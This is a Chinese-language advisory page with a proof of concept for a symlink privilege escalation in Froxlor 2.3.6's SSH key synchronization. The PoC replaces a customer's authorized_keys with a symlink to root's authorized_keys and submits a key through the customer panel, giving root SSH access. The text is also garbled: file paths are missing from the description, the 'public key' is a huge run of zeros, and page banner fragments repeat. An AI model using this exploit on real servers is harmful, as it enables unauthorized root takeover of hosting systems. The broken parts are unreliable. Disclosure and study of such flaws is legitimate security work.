Froxlor 2.3.6 SSH密钥同步LPE漏洞及POC

漏洞概述 漏洞名称: Privilege escalation in SSH key synchronization via symlinked path 漏洞描述: Froxlor 2.3.6 版本中存在一个符号链接跟随漏洞，该漏洞位于用于客户 FTP 用户的 root 拥有的 SSH 密钥同步路径中。配置代码在客户控制的目录中附加公钥到 ，但未验证目标路径是否为符号链接。如果攻击者控制了具有 shell 访问权限的客户账户，并能够修改分配的主目录中的文件，攻击者可以用指向 的符号链接替换 。当 Froxlor 的特权 cron 任务同步 SSH 密钥时，会将攻击者提供的密钥附加到 root 的授权密钥文件中，导致 root SSH 访问。 影响范围 受影响版本: Froxlor 2.3.6 修复版本: Froxlor 2.3.7 CVSS 评分: 8.8/10 攻击向量: 网络 攻击复杂度: 低 所需特权: 低 用户交互: 无 范围: 未改变 机密性: 高 完整性: 高 可用性: 高 修复方案 修复版本: 升级到 Froxlor 2.3.7 POC 代码 ```bash 1. 获取客户账户的 shell 访问权限并在主目录中准备符号链接 mkdir -p ~/.ssh rm -f ~/.ssh/authorized_keys ln -s /root/.ssh/authorized_keys ~/.ssh/authorized_keys 2. 从已认证的 Froxlor 客户会话中，为相关 FTP 用户提交新的 SSH 公钥 POST /customer_ftp.php?page=sshkeys&action=add HTTP/1.1 Host: target.example Content-Type: application/x-www-form-urlencoded Cookie: authenticated_customer_session= carf_token=VALID_CSRF_TOKEN send=send& description=poctest ftpuser=r27a ssh_pubkey=ssh-ed25519 AAAAC3NzaC1lZjNiMTA3AAAAI800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

目标达成感谢每一位支持者 — 我们达成了 100% 目标！

Froxlor 2.3.6 SSH密钥同步LPE漏洞及POC

同源更多文章

目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

Froxlor 2.3.6 SSH密钥同步LPE漏洞及POC

同源更多文章

目标达成感谢每一位支持者 — 我们达成了 100% 目标！